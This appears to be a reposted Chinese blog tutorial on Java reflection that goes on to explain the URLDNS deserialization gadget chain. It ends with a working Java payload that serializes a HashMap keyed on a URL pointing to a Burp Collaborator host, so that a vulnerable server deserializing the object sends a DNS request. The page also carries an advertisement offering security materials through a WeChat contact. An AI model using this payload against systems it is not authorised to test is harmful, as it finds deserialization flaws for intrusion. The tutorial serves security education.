反射是大多數語言里都必不不可少的組成部分,物件可以通過反射獲取他的類,類可以通過反射拿到所有方法(包括私有),拿到的方法可以呼叫,總之通過“反射”,我們可以將Java這種靜態語言附加上動態特性,
什么是反射
java的反射是指在運行狀態中,對于任意一個類都能夠知道這個類所有的屬性和方法,并且對于任意一個物件,
基本形式
public void execute(String className, String methodName) throws Exception { Class clazz = Class.forName(className); clazz.getMethod(methodName).invoke(clazz.newInstance()); }
上面的例子中,我演示了幾個在反射里極為重要的方法:獲取類的方法: forName實體例化類物件的方法: newInstance獲取函式的方法: getMethod執行函式的方法: invoke
反射的作用:
讓Java具有動態性,修改已有物件的屬性,動態生成物件,動態呼叫方法,操作內部類和私有方法
在反序列化漏洞中的應用
定制需要的物件,通過invoke呼叫除了同名函式以外的函式,通過class類創建物件,引入不能序列化的類
java反射舉例
此處參考白日夢組長的例子,具體講解一下反射,
先寫一個Person作為我們下面演示的原型類
public class Person { private String name; public int age; ? public void act(){ System.out.println("test"); } @Override public String toString() { return "Persion{" + "name='" + name + '\'' + ", age=" + age + '}'; } ? public String getName() { return name; } ? public void setName(String name) { this.name = name; } ? public int getAge() { return age; } ? public void setAge(int age) { this.age = age; } ? public Person() { } ? public Person(String name, int age) { this.name = name; this.age = age; } }
獲取原型類
使用forName方法
Class c = Class.forName("Person");
在此也寫一種基于ClassLoader的動態類加載方式
this.getClass().getClassLoader().loadClass("Person");
從原型class里面實體化物件
利用建構式實體化
Constructor constructor = c.getConstructor(String.class,int.class); Person p1 = (Person) constructor.newInstance("abc",22);
我們來逐行寫一下分析
Constructor constructor = c.getConstructor(String.class,int.class);
這一行是為了獲取原型類中多載的構造方法
public Person(String name, int age) { this.name = name; this.age = age; }
對構造方法進行傳參實體化一個物件
Person p1 = (Person) constructor.newInstance("abc",22);
我們可以列印一下p1看一下回傳結果

獲取類里面的屬性
private String name; public int age;
public
Field ageField = c.getField("age");
ageField.set(p1,11);

private
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備注 “博客園” 獲取!】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)
獲取類方法
Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");
getMethod 與上面的獲取建構式類似,第一個引數是函式名,第二個是傳參的型別
invoke方法第一個傳入物件,第二個是傳入引數值

利用URLDNS(反射)
這條鏈子算是反射的一個簡單應用,
利用點
URL這個類重寫了hashCode方法,導致在執行hashCode的時候,此利用點不能命令執行,但是會請求DNS,所以被用來驗證是否存在反序列化漏洞,
原始碼如下:


可以看到當我們呼叫一次hashCode方法,他會對傳進去的URL物件發起請求,即我們如果去DNSLOG申請一個地址,根據訪問來判斷是否成功執行了hashCode方法進而判斷是否執行了反序列化的操作,
URL這個類實作了java.io.Serializable,可以進行序列化的操作,

因此,在這里我們可以驗證一下我們上面的想法,


鏈子
這個鏈子也比較短,比較簡單,主要是利用HashMap來執行hashCode方法
HashMap實作了Serializable可以序列化,此處注意反序列化時HashMap的readObject方法

我們跟進一下hash方法

key引數可控,key又是由反序列化的時候生成的,在HashMap中用put傳入一個URL的物件,即可在反序列化的時候呼叫到此方法,從而觸發整個鏈子,
有一點需要注意,我們在序列化的時候,進行的put傳參會修改掉傳入的URL物件的hashCode的值,因為hashCode值不等于-1,從而導致無法正常觸發下面的方法,即無法觸發DNS請求,

同時在正常put傳參的時候會執行一次DNS請求,所以我們在put傳參之前修改hashCode的值(不為-1就行),傳參之后修改hashCode為-1,在反序列化的時候就可以正常執行了,
payload如下
public static void main(String[] args) throws Exception{ HashMap <URL,Integer> hashMap = new HashMap<>(); URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/"); Class c = u.getClass(); //在進行put方法傳參之前修改URL物件的hashCode值 Field hashcodeField = c.getDeclaredField("hashCode"); hashcodeField.setAccessible(true); hashcodeField.set(u,123); ? hashMap.put(u,123); //修改URL物件的hashCode值為-1 hashcodeField.set(u,-1); serialize(hashMap); }
更多靶場實驗練習、網安學習資料,請點擊這里>>
搜索
復制
合天智匯:合天網路靶場、網安實戰虛擬環境轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/508789.html
標籤:其他
上一篇:我制作了一個相機視圖應用程式,我希望影像的輸出與視圖中顯示的完全相同
下一篇:HTTP基礎認證
